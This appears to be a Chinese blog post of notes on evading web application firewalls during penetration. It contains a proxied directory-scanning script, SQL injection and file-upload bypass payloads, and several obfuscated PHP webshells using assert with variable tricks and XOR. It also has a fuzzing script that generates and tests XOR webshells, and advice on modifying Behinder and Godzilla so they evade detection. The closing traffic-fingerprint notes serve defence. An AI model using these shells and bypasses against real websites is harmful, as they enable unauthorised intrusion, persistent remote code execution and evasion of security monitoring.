# 有 waf 时的信息收集

# 信息收集拦截对抗

  • 信息收集常见检测:

脚本或工具速度流量快

脚本或工具的指纹被识别

脚本或工具的检测 Payload

  • 信息收集常见方法:

延迟:解决请求过快封 IP 的情况

代理池:在确保速度的情况下解决请求过快封 IP 的拦截

白名单:模拟白名单模拟 WAF 授权测试,解决速度及测试拦截,换大型网站爬虫 UA

模拟用户:模拟真实用户数据包请求探针,解决 WAF 指纹识别

  • 被动扫描方式

黑暗引擎:Fofa Quake Shodan zoomeye 0.zone 等

其他接口:https://forum.ywhack.com/bountytips.php?getinfo

# 信息收集脚本

  • Python 自定义 header 目录扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 目录扫描
import requests
import time

headers={
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/0 (Windows NT 0; Win64; x64) AppleWebKit/536 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/536',
'Sec-Fetch-Dest': 'document',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Sec-Fetch-Site': 'none',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
'Cookie': '*',
}
for paths in open('php_b.txt',encoding='utf-8'):
url='http://www.testxiaodi.fun/'
paths=paths.replace('\n','')
urls=url+paths
proxy = {
'http': 'tps68kdlapi.com:15818',
}
try:
code=requests.get(urls,headers=headers,proxies=proxy).status_code
print (urls+'|'+str(code))
if code== 200 or code== 403 :
print (urls+'|'+str(code))
except Exception as err:
print('connecting error')
time.sleep(3)
  • 使用工具代理流量扫描

通过快代理买一个临时代理设置,可以在 Awvs/Xray/Goby 等工具上直接使用 代理,或者相关工具需要修改配置文件设置代理,也可以用 proxifier 建立规则, 代理流量至自己购买的代理,将进程的流量进行中转。

proxifier 需要设置规则的进程,通过软件的属性定位到文件所在的位置, 复制文件的可执行程序,或通过任务管理器来找到当前运行的此软件的进程。

# 漏洞利用拦截对抗

# sql 注入利用绕过

参考地址:https://www.cnblogs.com/cute-puli/p/111466html

  • 关键字替换

http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 1
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 12

  • 更换提交方式:

POST id=-1 union select 1,2,3–+

  • 模拟文件上传 传递数据

通过 burp 的右键功能

  • 分块传输

更改数据请求格式 :https://github.com/c0ny1/chunked-coding-converter

  • HPP 参数污染

id=1/&id=-1%20union%20select%201,2,3%23*/

# 文件上传拦截绕过

  • 符号干扰

filename=a.php
filename="a.php
;filename=“a.php”

  • %00 干扰

filename=“a.php%00”

  • 垃圾数据溢出

无限 filename;filename=“a.php”
filename==“a.php”
filename=“name='uploadfile.php”
filename=“Content-Disposition: form-data.php”

  • 换行解析

filename==“a.ph
p”

# xss 拦截绕过

工具链接:https://github.com/s0md3v/XSStrike

使用方法:
python xsstrike.py -u "http://xx/xss__get.php?message=1& submit=submit" --proxy

# 其他绕过

采用参数替换绕过:txt=y=strreplace(x,,pxhpxinxfo());assert(y=str_replace('x','','pxhpxinxfo()');assert(y);&submit=%E6%8F%90%E4%BA%A4

文件包含使用…\ …/ …\ 等

# 权限控制对抗

# php 传参带入

1
2
3
4
5
6
7
8
9
10
# php木马如下
<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>

# 代码利用
?a=ass
x=cGhwaW5mbygpOw==

# php 变量覆盖

1
2
3
4
5
6
7
8
9
# php木马如下
<?php
$a='b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>

# 代码利用
x=cGhwaW5mbygpOw==

# php 加密变异

http://www.phpjm.net/
https://www.phpjms.com/
http://1576:1234/

# php 异或运算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# 异或
import requests
import time
import threading,queue

def string():
while not q.empty():
filename=q.get()
url = 'http://10.0.1:8081/x/' + filename
datas = {
'x': 'phpinfo();'
}
result = requests.post(url, data=datas).content.decode('utf-8')
if 'XIAODI-PC' in result:
print ('check->'+filename+'->ok')
else:
print ('check->'+filename+'->no')
time.sleep(1)

def shell_test_check():
url='http://0.1:8081/x/33xd6php'
datas={
'x':'phpinfo();'
}
result=requests.post(url,data=datas).content.decode('utf-8')
print (result)
if 'XIAODI-PC' in result:
print ('ok')

if __name__ == '__main__':
q=queue.Queue()
for i in range(1, 127):
for ii in range(1, 127):
payload = "'""'" + chr(i) + "'" + '^' + "'""'" + chr(ii) + "'"
code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"
filename = str(i) + 'xd' + str(ii) + '.php'
q.put(filename)
with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:
f.write(code)
f.close()
print('Fuzz文件生成成功')
for x in range(20):
t=threading.Thread(target=string)
t.start()

可以通过在线的接口将自己的木马再次加密,如果此加密未加入到官方的指纹系统,则还是可以绕过 waf 的。如将哥斯拉自动生成的马再次进行加密。加密后上传 webshell,仍旧可以连接成功,则可以绕。

# 冰蝎哥斯拉流量分析

# waf 绕过思路

可能通过正则匹配、机器学习、行为分析等方式来绕过 waf。实战中多半是先进的安全公司的设备,必须进行魔改各种连接工具才可以绕过 waf,需要 就具体情况进行判断。

webshell 利用工具的流量也可以通过 proxifer 设置代理转发至 burp 观察,实际上,proxifer 的作用就是拦截一些不能设置代理的软件,将其流量代理到自己 设置的目标端口上,目标端口可以是快代理,burp,fiddler 等可以监听端口的工具。

或者不借助 proxifer 而是用 wireshark 来捕获网卡中的所有流量,通过过滤数据包来确定当前所使用工具的流量,跟随流量流,分析流量特征。

如果一堆加密字符中出现了大量的 "/“以及不规则的大小写字母及数字组成, 则可以判断出此加密可能属于 AES; 如果有大量的等号而无”/" 则可以猜测属于 base64。

# 冰蟹原理

自己手动输入一个密钥,并采用 md5 加密生成 32 位字符取前 16 位作为 key 值,服务端接收客户端发送的 key 存储 session 返回客户端,客户端先将代码进 行 base64 编码,再继续发送基于 key 与偏移量 0123456789abcdef 及采用 CBC 模式的 AES 加密操作的数据包,此后服务器解密数据包进行遍历自身文件或其他 操作,并把结果再次进行一层 base64 编码及 AES 加密,客户端接受服务端发送的数据包解密后并在工具上做展示。

# 冰蟹数据包特征

1
2
3
4
5
6
7
8
9
10
11
User-agent:代码中定义

Pragma: no-cache

Content-Type:application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/ap ng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

每次冰蟹操作数据时都会发送出这几个数据,这几个数据单独来看是没有 什么特征的,但是如果合在一起使用就可以确定很大概率是冰蟹在操作,可以 认为是恶意指令。

通过 wireshark 抓取冰蟹操作时的流量,分析流量特征进行捕获从而确定出 指纹;且其采用 jar 文件生成,可以反编译查找其中的指纹来源进行修订再次重 新编译成 jar 包,并修订原有指纹绕过 waf,生成一个自己专属的 webshell 连接 工具。

反编译 jar 文件用 jd-jui 打开之后,如果代码中含有 php 代码是看不了的,还是需要将其导入到 IDEA 中才可以看到全部的代码。

# 哥斯拉数据包特征

1
2
3
4
5
6
7
User-Agent: Mozilla/0 (Windows NT 0; Win64; x64; rv:80) Gecko/20100101 Firefox/80

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Cookie: PHPSESSID=rut2a51prso470jvfe2q502o44; cookie 最后面存在一个";"
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝